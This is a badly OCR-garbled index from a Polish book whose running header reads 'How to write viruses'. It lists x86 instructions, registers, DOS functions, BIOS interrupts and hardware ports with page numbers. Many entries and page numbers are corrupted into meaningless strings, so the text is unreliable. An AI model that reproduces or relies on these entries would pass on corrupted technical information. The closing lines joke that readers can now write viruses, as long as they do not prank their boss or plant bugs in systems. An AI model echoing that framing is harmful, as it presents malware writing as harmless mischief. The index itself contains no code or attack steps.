CBW . . . . . . . e e e e e e T
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A . 124
4 1 21,1
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0 21,72
1 . 72
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1 72
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CMP L e e 72
CMPS . . . L e e 73
CMP B . L L e e e e 21,73
CMPSD . . . e e e 73
CMPSW . . . . e 73
CMPXCHG . . . . . e e 73
CODE . . . e e 9
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COMMAND.COM . . . _ . . . e e 32, 47
COmPaCt . L . L L e e e e e e e e e e 8
CONFIGSYS . . . . . . . e e e e .32
ConterRagister . . . . . . . . . . . . e 4
1 5
1+ 114
CWD . L e e e e e e e 73
CWDE | . . . . e 74
3 4

0
DAA L e e e e e e e 74
dalekleoperacie . . . . . . . . L e e e e e e e 7

A L e e e 74
DATA . . . e e e e 8
DatzRegister . . . . . . . . . . . . 4
DataSegmenl . . . . . . . L e e e e 5
I 8
DD . e e 8
DEC . . L e e e e e e e e e e e e e e 12,74
definlowanie Mattyey ZNakOW . . . . L L L L e e e e e e 119
Destimalion Indax . . . . . . . . e e e e e e e e 5
DEVICE .. . . . . . . e e e 44
Dl e 5
Direction Flag . . . . . . . . . e e e e e e 6
DN . e e e e e e 13,75
DMAkontroller . . . . . . . . e e e e 120
DMAwkomputerach AT . . . . . . . . . e e 126
DS . ... .. e e e e e e e e e e e e e e e e e e 5
DW e e e e 8
DX e e e 4
dyreldywa . . . . L L e e e 7
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E
.. 124
= i0
ENTER . . . . . . e e e e e e e e e e e 75
B . e e e e e e e e 5
glykiela . . . . L . e e 10
EXE . e e e e e e e e e e 43
ExtraSegment . . . . . . L L e e e e e e e e e e e e 5
F
FOXME . . . . e e e e e e 112
FABS . . . . L e e e e e 101
FADD . . L L e e e e e e e e e e 101
) 101
FBLD . . . e e e e e e e 102
2 102
OB . . . e e e e e e e 48
FCHS . . . L e e e e e e e 102
FOLEX . . . o . e e e e e e e e 102
FCOM . . . e e e e e e 102
FOOMP . . L e e e e e e e e e e e e e e e 102
FCOMPR . . . . . e e e e e e e e e e e 102
FOOS . . . . e e e e e e e e e e e e e e e 103
1 139
8 {1 5 103
7 103
] 103
DIV . . e e e e e e e 103
FOIVA . . o o o o e e e e e e e e 103
FOIVRP . . . . e e e e e e e e 103
= 104
FIADD . . . . . e e e e e e e e 104
FICOM . . . . . o e e e e e e e e 104
L 104
0 104
FILD . . . . e e e e e e e e e e e e 104
FMUL . . . e e e e e e e e e e 105
FINCSTP . . . . . e e e e e e e e e e e e 105
FINIT L . e e e e e e e 105
) 105
1 105
FISUB . . . . . . e e e e e e e 105
L 106
FLD . L . . e 108
o 1 107
PO . . L L e e e e e e e e e 106
RDENY . . . . . e e e e e e 106
FLDLZE . . . . . . e e 106
- e e e e e e e e e e e e e 107
FLOLGZ . . o e e e e e e e e e e 106
FLDLNZ . . . . e e e e e e e e e 106

Jak pisac wirusy Strona:274



FLDPL . o o v o e e e e e e e 107
FLOZ . . . o 107
FMUL . o o o e e e e e e e 107
EMULP . . . o o e e e e e 107
ENCLEX . . o v o o e e e e e e e 102
FNDISI . . . o o o e e e e e 103
ENENL . . . 0 e e e e e e e 104
ENINIT . . . L o o e e e e 105
FNOP o o o e e e e e 107
FNSAVE . . o o o e e e e e e e e e e e 108
FNSTOW . o o o o e e e e e e e e e e 103
ENSTENY . . . ot o e e e e e e e e e e e e e e 109
FNSTSW . . . o e e e e e e e e e e e 110
FNSTSW AX . . o o o o e e e e e e e e e e e 10
FRATAN . . o o o o o e e e e e e e e e e 108
FPREM . . . . o e e e e e e e e e e e 108
FPREMT . . e e e e e 108
FETAN . . e e e e e e e e e 108
FREE . . . o o o e e e e e e 104
FRNDINT . . o e e e e e e 108
BRETOR o . o v v v e e e e e e e 108
ESAVE . . . . e e e e e e 108
FSCALE . . . ot o e e e 108
FSETPM . o v o o e e e e e e e 109
FOIN . . o o o e e e e e e e e e e e 109
FEINGOS . . . . ... . .. . 108
FSORT . . v v o e o e e e e e e e e e e e 109
FOT . . e e e 109
FOTOW . . o o e e e e e e e e e e e 109
FSTENY . o o o o et e e e e e e e e e e 108
=3 - T 110
FSTSW . . . . . .. . 110
FSTSW AX . . . . . e e e e e 110
FSUB . . . . vt e e e e e e 110
FSUBP . . . o o o e e e e e e e e e e 110
FSUBR . . . . ot e e e e e e e 110
FSUBRP . . . . v o o e e e e 11
FTST . . o o o e e e e e e 111
FUCOM . . . . e e e e e e e e 111
FUCOMP . . . o e e e e e e e e e e e e e e 111
FUCOMPE . . . e e e e e 111
lmkeja DOSa: 00H . . . .« o . e 189
fumkeja DOSa: OTH . . . . o . 189
fumkea DOSA- OPH . L L L L e 190
funkcjaDOSa: 03H . . . . . . . . e 190
funkga DOSa04H . . . . L e 150
funkgia DOSa:0BH . . . . . . . o e 191
funkea DOS&: 0BH . . . o . . . L 191
funkgiaDOSa: 07H . . . . . . . e 19
funkgja DOSa:0BH . . . . . . . . e e 191
funkgjaDOSa:09H . . . . . . e 192
funkcjaDOSa: GAH . . . . . L e e 192
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funkcja DOSa: 0BH
funkgja DOSa: 0CH
funkeja DOSa: CDH
funkcja DOSa: 9EH
funkcja DOSa: OFH
funkeja DOSa: 10H
funkeja NSa 11H
funkcja DOSa: 12H
funkeja DOBa: 134
funkcja DCSa: 14H
funkcja DOSa: 15H
funkcja DOSa: 16H

~ funkcja DCSa: 17H

funkecja DOSa: 19H
funkeja DOSa: 1AH
funkcja DOSa: 1BH
funkcja DOSa: 1CH
funkeja DOSa: 1FH
funkcja DOSa: 21H
funkeja DOSa: 22H
funkcia DOSa: 23H
funkcja DOSa: 24H
funkeja DOSa: 25H
funkeja DOSa: 26H
funkeja DOSa: 27H
funkeja DO'Sa: 26H
funkeja DOSa: 28H
junkcja DOSa: 2AH
funkeja DOSa: 2BH
funkcja DOSa: 2CH
funkeja DOSa: 2DH
funkeja DOSa: 2EH
funkeja DOSa: 2FH
funkcja DOSa: 30H
funkcja DOSa: 31H

funkcja DOSa: 32H

funkcja DOSa: 33H
funkcja DCSa: 34H
funkcja DOSa; 35H
funkcja DOSa: 36H
funkeja DOSa: 38H
funkeja DOSa: 39H
funkcia DOSa; 3AH
funkeja DOSa: 3BH
funkcja DOSa: 3CH
funkcja DOSa: 3DH
funkeja DOSa: 3EH
funkcja DOSa: 3FH
funkcja DOSa; 40H
funkcja DOSa: 41H
funkeja DOSa: 42H
funkeja DOSa; 43H
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funkgia DOSa 4400H . . . . . . L L e e e e e 212
RNKGADOSR A40TH . . . v v o e e e e e 212
funkgiaDOSa: 440BH . . . . . . L e e 213
funkgla DOSa: 4407H . . . . . . .. o 213
funkeja DOSa: 4408H . . . . . . . L. e e 214
funkga DOS&:4409H . . . . . L e 214
funkgja DOSA:440AH . . . . . . . . e e e e e 214
funkgja DOS&:440BH . . . . . . . . . e e e 215
funkejaDOSa:440CH . . . . . . . . . L 215
funkejaDOSa: 440DH . . . . L L . e 217
funkefaDOSa:dBH . . . . . L . . L 219
unkeiaDOSa4BH . . . L L L e e e e e 218
unkoja DOSa: 47H . . . . . e e 221
funkcjaDOSa:d48H . . . . L . . e 221
funka DOSa:494 . . . . . . . . ... e e e e e e e e e e e e e e 221
CMKGADOS AAH . . . L e e e 292
funkcja DOSa: 4BOOH . . . . . . . . L e 222
funkeja DOSA:4BO3H . . . . . . . e e 223
kG DOSE 4CH . . . . e e e e e 223
unkcla DOSE4DH . . . . . . o e e e 223
funkcjaDOSa:4EH . . . . . . . . .o P 223
funkgaDOSAI4FH . . . . . . e e e e 224
funkgiaDOSEE0H . . . . . . e e e 224
funkga DOSa: 51H . . . . . . e 224
funkgfaDOSaI52H . . . . . . e e .. 225
funkgfaDOSa:B4H . . . . . . . L e 225
funkgia DOSEIB5H . . . . . . e e e 225
funkgja DOSa:B6H . . . . . . e e e e e 226
funkegjaDOSa:57H . . . . . . . ... e e e e e i, 226
funkga DOSAIE8H . . . . . . . . e e e e e e e e e 228
funkcjaDOSa: BIH . . . . . . . e e s 227
funkejaDOSa:SAH . . . . . . L e e 227
funkcjaDOSa:5BH . . . . . . . . e 227
nkgaDOSa:5CH . . . . . L . e e e 228
funkcjaDOSa:5E00H . . . . . . . . . . . e e e e e e e 228
funkcjaDOSa:5E02H . . . . . . . ... . e e e e e e e e e 228
funkcja DOSa:BFOZH . . . . . . . e e e e 229
URKGADOSABFOIH . . . . . e e 229
funkgja DOSA:IBFO4H . . . . . . o oo e e 229
funkgfaDOSEIBZH . . . . . . . e e 230
funkcjaDOSRIB5H . . . - . . . e e e 230
funkejaDOSa:BBH . . . . . . . e e e 230
funkgjaDOSAIBTH . . . . o . . e e e e e e e 230
funkeaDOSa: BBH . . . . L e e e e 231
funkelaDOSaI6CH . . . . . . e e e 231
fukgaDOSEATH . . . . . . e e e e e e 206
funkgjesystemuDOS . . . . . L oL e 189
- o e T i
EXAM . . . . . L o e e e e e e e e e e e e e e e e e e s i
EXCH . . . o e e e e e e e e e e e e e e e 112
5374 1 27 - e A A 12
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o 1 112
FYLZXPT . . . . . e e e e e e e 112
G
Game O . . . . . e e 122
gigabait . . . . . L e 3
gareyrestart . . L L L L L e e e e 33
POWICE . o v v v e e e e e 37
gidwnybloktadujacy . . . . . . . . 37
gidwnykatalog . . . . . . . ... L e e e e e e e 1
H
HLT . L e e e e 75
Huge . . . . o e e e e e e e e e e 8
]
identyfikatory . . . . . . . L. o 39
DV . e e 76
IMUL . e e e e 76
O 21,76
NG . . e e e e e e 12,77
inlormacje ¢ znakach trybugraficznege . . . . . . . L L L L L L L oL L 118
informacje ¢ znakach trybutekstowego . . . . . . L . L L L L L Lo 17
NS . . e e e e e e e e e 17
1 77
BNSD . . . e e e e e e 77
11 114
Instruction Pointer . . . . . . . e e e e e 5
instrukcja sterujgce programem . . . . . . . L . L . . e e e e e 18
NS . L e e e e e e e e 77
NT ... ... e e e e e e 77
INT 2 H . L L e e e e e e e e e e e 9
Interpreter BASIC-a . . . . . . e e e e 36
Interrapt Flag . . . . . . . e e e 8
INTO . .. .. e e e e e e e e e 77
INVD . . . e e e 78
INVLPG . . . . . . e e e e e e e e e e e e e e e 78
0. 8Y S . . . e e e e e e e e 31
B . e e e e e e e e 5
RET . . . . e e e e e e e e e 78
RETD . . & . e e e e e e e e e e e e e 78
J
JMINBE . . . . L e e e e e 1%
JAEAINB . L L L e e e e e e e e 1%
JBUNAE . . . . L e e e e e e 19
JBEANA . . L e e e e e 19
JO e e e e e e e e e e e e 19
- e e e e e e e e e e e e e 78
71 7. 18
jednostidprzydzialu . . . L L L L L e 39
JGUNLE . . L e e e e e e e e e e e 19
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JOEMNL . o . o e e e e e e e e e 19
JWINGE . . o o e e e e e e e e 19
JMP e e e e e e e e e 18, 80
NG . e e e e e e 19
INEANZ o . o e e e e e e e e e 19
JNGHEE . . o o e e e e e e e e e e e e e e e e 19
[ o P T T L 19
JNPIURD . . e e e e e e e e e e e e e e s 19
JNS . o e e e e e e e e e e e 18
JO e e e e 19
JPUPE . . . e e e e e e e e 18
8 e e e e e e 19
K
Karaprotolypu . . . . . . o e e e e 123
KEtBIDGQIOWIY . - . . . . . o e e e e e 37
v S I R 3
kiawiatura 101-klawiszowa . . . . . . U A 241,243
Kawiatura POATBEKAWISZE . . . . . . o r e e o e e e e e e e e e e e 243
Kawialura POIT . . . . o e e e e e e e e e e e e e C s 242
kody ASCIETOZSZEIZONE .+ v« « « v v v o e e e 240
kodybleddw . . . . . . . . e e e 233
kody Klawialuny . . . . . . . .. e e e 242
kedy kontrolne dla drukarek IBMEpsonikompatybilnyeh . . . . . . . oo e 244
kodypolskichliter . . . . . . . . . . . 242
kontrolerklawiatry . . . . . . . o . o o e e e e 121
KOMMPOIBI PIZEIWAR . . . . . . . . . e e e e e 120,122
L
LAHE . . o e e e e e e e e e e e e e e g1
LAR . . . e e e e e e e e e e e e e 81
LAIGB . . . v o e e e e e 8
D8 . . . e e e e e e e e e e 81
LEA . o e e e e e e e e e 81
LEAVE . . o v v e e e e e e e e e e e e e 82
1 =3O a1
LFS . o e e e e e e e e e 81
LADT . . . . . e e e e e e e e e e e e 82
LGS . . e e e e e e e e e e e e e 81
) T T T g2
listaprzerwal . . . . . . ... e e e e e e e 140
BSEATOZKAZOW . . . o v o o e b e e e e e e e e e e e e e e e B85
1 ) O T T 82
[V R 83
T <O T 83
LODS . . . e e e e e e e e e e e e e B3
LODSB . . . . . o e e e e e e e e e e e e e e e B3
LODSD . . . . s o e e e e e e e e e e e B3
LODSW . . . . o e e e e e e e e e e e e e e e e 83
LOOP . . e ot e e e e e e e e e e e 19,83
LOOPE . . . o s e e e e e e e e e e e e e e e e e e e 83
LPTl . . . e e e e e e e e e e e e e e e e e e e 113
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1 84
LS . . . . e e e e e e e e e e e e e e 61
L B . v o e e e e e e e e e e e e e e e e 84
ladowalne programy obstugi urzadzed . . . . . . . . L L oL oL 44
M .
MAPAPAMIGEH . . . . . . o . e e e e e e e e e e e 35
mapaportidwkomputera PCAXT/AT . . . . . L o o - o 120
Master BootRecord . . . . . . . . o e e e e e e e e e e e e 37
Mediim . . . . . . e e e e e 7
v | T I 3
menadzerfunkgjisystemowych . . . . L L L L e g
MODEL . . . . o o e e e e e e e e e e e e e e e e e 7
MOV . . . e e e e e e 9,84-85
MOVS . . . . . e e e e 85
MOVSB . . . . . . e e e e e e 85
MOVED . . . o e e e e e e e e 85
i 85
MOV . . . L e e e e e e e e 86
BOVZXY . . e e e e B6
MEDOS.BY S . . . . e e e e e e e e e e 31
MUL . . . . e e e e e e e e e e e e e 13,86
N
RAGIBWEK . . . . . . . e e e e e e e e 44
REBAKE . . . . . . . e e e e e e e e e e e e 44
NEG . . . . . . . e e e e e e e e e e e e e e e e e e a7
BOP . . . . e e e e e e e e e e 21,87
0T . . o e e e e e e e e e e e e e e e 16, 87
mmersekiora logicznege . . . . . . . . L L L e e e e e e e e e 37
MMIBCK . . . . . . e e e e e e e e e e e e e e e 114
0
obszardanyeh karly EGA(VGA) . . . . . . . L L e e 17
obszar parametréw dynamicznych: . . . . . L L L L o . o o e 117
OBOE . . . . . e e e e e e e e e e e e e e 5
opisklawigtury AT . . . . L L e e e e e 127
o]~ 5 17,87
organizaciadysku . . . . L L. L L e e 37
OUT . . . . e e e e e e 21,88
OUTS . . . o e e e e e e e e e e 88
OUTSR . . . . . e e e e e e e e e e e e 88
DUTSD . . . e e e e e e e e e e e e e e e 88
OUTSW . . . . . e e e e e e e e e e e e e e e e e e 83
Overflowflag . . . . . . . . . o e e e e 6
P
paklatyzlecerh . . . . . . . . L . e e e 45
amigéekranu . . . . . . L. L. L e e e e e e e e e e e e e e e 35
Pamigd katy EGANVGA . . . . . . . . . . e e e e e e e 36
PamiglobrazuCBA . . . . . . . e e e e e e 36
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PatyFlag . . . . . . . . . 6
PAMIYGIA . . . L L e 38
patygie Lo L L L 37
PlilktypuCOM . . . . 43
PikypuEXE |, . . . L 43
PiktypuSYS . . L L L, 44
POP . o 11,69
POPA . . . 89
POPAD . . . L 89
POPE . 89
POPFD . . . 89
portasynchraniczny . . . . . . L L L e 124
portkontrolnyrozszerzed . . . . . . . .. L 122
POKOPROCASOMA . . . . . . . . L L L 122
portNMI . . . 122
PortyCGA . . . . 132
“potyDMA . . L L L L. e e e e e 124
poydrukarki . . .. . L L 131
POyEGA . . . 123,133
poty FDC . . . L 139
potyjoysticka . . . . .. Lo e 130
POYSZEregowe . . . . . . . . .., 137
porydyskutwardego AT . . . . . . . .. 129
porydyskutwardego XT . . . . . . L L L L 129
potyVGA . . . 137
poRyweStiaMwyiScia . . . . . L L e, 4
POST . 31
PPl . 120 - 121
PROCASON . . . . . . L e 4
PIOCESY . . . . . L e e e e e e e e 47
programobstugl . . . . ..., 44
ProgramSegmentPrefix . . . . . . . . . .., 48
programy wpostaci pizemieszezalne) . . . . . L L L L L L L L 43
przechwytywanieprzerwarl . . . . . . . . . L 23
Przedrostekprocesy . . . . . L L L L L L L L 48
PrZOEWANIA . . . . . L L L L e e 6, 140
PrZerWaNIAprOQIaIMOWE . . . . . . . . L L L e e e e 6
prrerwanie OOH . . . . L L L L 141
przerwanie0O1H . . . . . . .. e e e e e e e e e e e e 141
prrerwanie02H . . . . .. .. ... e e e e e e e e e e e e e e e e e 141
prerwanieO3H . . . . . . L L e 141
przerwanieO4H . . . . L L L T 142
przerwanie OSH . . . . L L L L L 142
CPrrerwanieOBH . . . . L L L 142
przerwanie 08H . . . L L L 143
przerwanieOEH . . . . . . . .. e e e e e e 143
przerwanie 10H . . . . . . .. ... 143 - 148, 150, 152 - 154, 156
przetwanio 11H . . . . L L L 156
przarwanie 12H . . . . . L L, 156
prrerwanio 13H . . . L L L L 157 - 163
przewanie 14H . . . . L L L L L L 163 - 164
przerwanie15H . . . . | . W e e e e h e e e e e e e e e e e 165 - 168
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przerwanie 1BH . . . . L L 168 - 169
przerwanie 17H . . . . L o L e e e e e 170
pzerwanie 1BH . . . . L L e e e e e e e e e e e 170
przerwanie 19H . . . . . L L e e e i
prerwanie TAH . . . L L L L 171-173
przerwanie 1BH . . . . . L L e 173
pzerwanie ICH . . . . . o o e e 173
przerwanie 1DH . . . . L L e e e 174
prerwanie tEH . . . . . . . L e 174
prerwanie 1FH . . . . . L L e 175
przemwanie 200 . . . L L L L e e e e e e e 175
penvanie 21H . . . L L L e e e e e e e e 175, 185
prrenwanie 22H . L . L L L L e e 175
prenwanie 23H . . . L L L L L e e e e e 175
prrewanie2dH . . L L L L e e e 176
przerwanie 25428 . . . . . . . 0 0 C e .. R ¥
prerwanie 27H . . . L L L e e e 177
pzerwanie 28H . . . . L L L e e e e 177
prerwanie 29H . . . L L L L L e e 177
prerwanie2ER . . . . . .. ... . .. e e e e e e e e e 178
przawania 2FH . . . L L L e e e 178
przemwanie’33H . . L L L L L 174
przewanig 41HABH . . . . L . e 181
prerwanieddH . L L L L e e L. 182
przewanie JAH . L L L L L e e e 182
przenwanie 50K . . . L L L L L e 182
prerwanie 67H . . L L L e e e 182 - 185
prramwania SPEzelawe . . . . . L L L L L e e e e e e e 6
PP . e e e 48

BB . o o e e e e e e e e e e 11, 83
PUSHA . . . . e e e e e e 90
PUSHAD . . . . . . . e e e e e 90
PUSHF . . . . e e e 80
PUSHFD . . . . . e e e e 80

R
amii linde, ysunki . . L L L L L L e e e e 239
O 14,90
ROR . . . e e e 14, 90
ST ZAACZNIKOW . . . . . . . . o e e e e e 6
Sty . . . e e e e e e e e 4
REP . . . e e e e e e e a1
REPE . . . . e e e e 91
REPNE . . . . . . . . 91
REPNZ . . . . . . e )|
REPZ . . . . e e e e &
esetKOPIDCESOra . . . . . . L L L e e e e e e e e 122
RET . . e e 19,92
RETF . . . e e e e e 92
rodzajedyskdwtwardych . . . . . . L L L L e e e e e e e e 34
ROl . . . . e e e e e e e e e e e e e 14,90
ROM . . . . . e e e e e e e e e 31
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ROB . . . . e e e e e e e e 14
rozkazy 8087, 80287,80387,80486 . . . . . . . . . L. L 101
OZSTOIZEMIA . « v v v e e e e e e e e e e e e e e e e e e e 123
rozszerzone kody ASCIL . . . . . L L L 240
B = =30 113
BT . . e e e e e e 33
S
BAHE . L L e e e e e e 93
SAL . . e e e e e e 14,93
SAR . . . e e e e 14, 83
= -1 S 84
BOAS . . e e e e e 94
SRS . . . . e e e e e e e 94
BOASBD . . . . e e e e e e e e 94
SOASW . . . e e e e e e 94
scrolllock . . . . e e e e e e e e e 114
SOLE . . . . . e e e e e e 124
BBOMBNT . . . .« v o e e e e e e e e 1
BBRIONY . . . . . . e e e e e e e e 37
SEKIOIYIOQICZNG - - . . . . . e e e e e 37
SETCC . . e e e e 95
SETUP . . . e e e e e e e 3
SOOT . . . . e e e e e e e 95
St . . L e e e e e 114
BHL . . e e e e e e e 14,93
SHLD . . . . . e e e e e e e e e 98
BHR . . e e e e 14, 93
Bl L e e e e e e e e S
SIDT . . . . . e e e e e e e e e e e e e 95
SignFlag . . . . . 6
SkoKIWETLNKOWE . . . . . v e e e e e e e e e e e e e e e e e 18
SLDT . . . L e e e e e e 96
SAll . . e e e e e e e e 7
SMOW . L L e e e e e 96
Source INdeX . . . . . e e e e e e e e e e e e 5
= = 5
-1 R 5
STACK . . .. . ... .... e e e e e e e 8
Stack POINIEr . . . o e e e e e e e e e e e e e e e 5
Stack SBgMENt . . . . . . o e e e e e e e e 5
SERSYSIBMU . . . . . . . e e e e 31
BT L e e e e e e e e 21,96
=y 1 T 21,97
BTl . . . L e e e e e e 21,97
BIOB . . a e e e e 10, 97
BTOBE . . . e e e e e e e 97
BTOSD . . . . e e e e e e e e e e e 97
STOBW . . . . e e e e e e e 97
BTR . . . e e e e e e e 97
SIEfYy . . . . . e e e e e e 37
SUB . . . L e e e e e e e e e 12,08
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BYS . . e e e e e e e e e e e e e 44
gitembinamy . . .. L L e 2
SytemAWOKOWY . . . . . . . . L e 2
SIGZBPIONKA . . . . . . . i e e e e e e e e e e e 264
SOZKl . . . . e e <y
GOOWISKOSYSIEMOWE . . . . . . . . . e s 4B
T

lica FAT . . . . . . e e e e e e 37, 39
Tablicaparametrow EGA . . . . . . . . . L e 117
ablicapartycli . . . . . . . e e 37
tablica partycjidyskutwardego . . . . . . L . L L. L 37
fablica WekIOTOW PIZEIWER . . . . . . . . . . o e e e e e e e e e e e 35
TEST . . e e e e e e 17,98
TIY o o e e e e e 7
TapFlag . . . . . . e 6
TSR (Terminale & Stay Resident) . . . . . . . 36
u

UZAZENIBBIOKOWE . « v v v o s e e 44
UZdZENiEZEWNBITZNE . . . . . . . . . e e e e 4
UrzgdzeniaznakOWe . . . . . . L L L e 44
v

VERR . . . . . e e e a8
VERW . . . L e e e e a8
VBA . . . e e e e 124
W

Wall . . . . . e e e e 99
Y 99
WIS YOS . . . L e e e e e 254
X

XADD . . L e e e e e 89
XCHG . . . . . e e e e e e 99
XLAT . L L e e e e e e e e 108
XLATB . o . L o e e e e e e e e e e e 100
KOR . . . L e e e e 17,100
Z

ZBQArCZASUMZECZYWISTBOON . . . .« v o e e e e e e e e e 33
ZoroFlag . . . . . . . e e e e e e e ]
ZMBMNGEYSIOMOWE . . . v v v o o v e e e e e e 38, 112
aki ASCIL . . . . L e e 237
makikontrolne ASCHL . . . . . L e 239
29020 asynchioniCZNg . . . . . . . . . . . . e e e 123
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- Teraz juz mozecie ustrzec sig przed wirusami lub napisac
wirusowy program. Ale nie robcie za duzo psikusow swojemu
szefowi i nie podkladajcie pluskiew w systemach informacyjnych!
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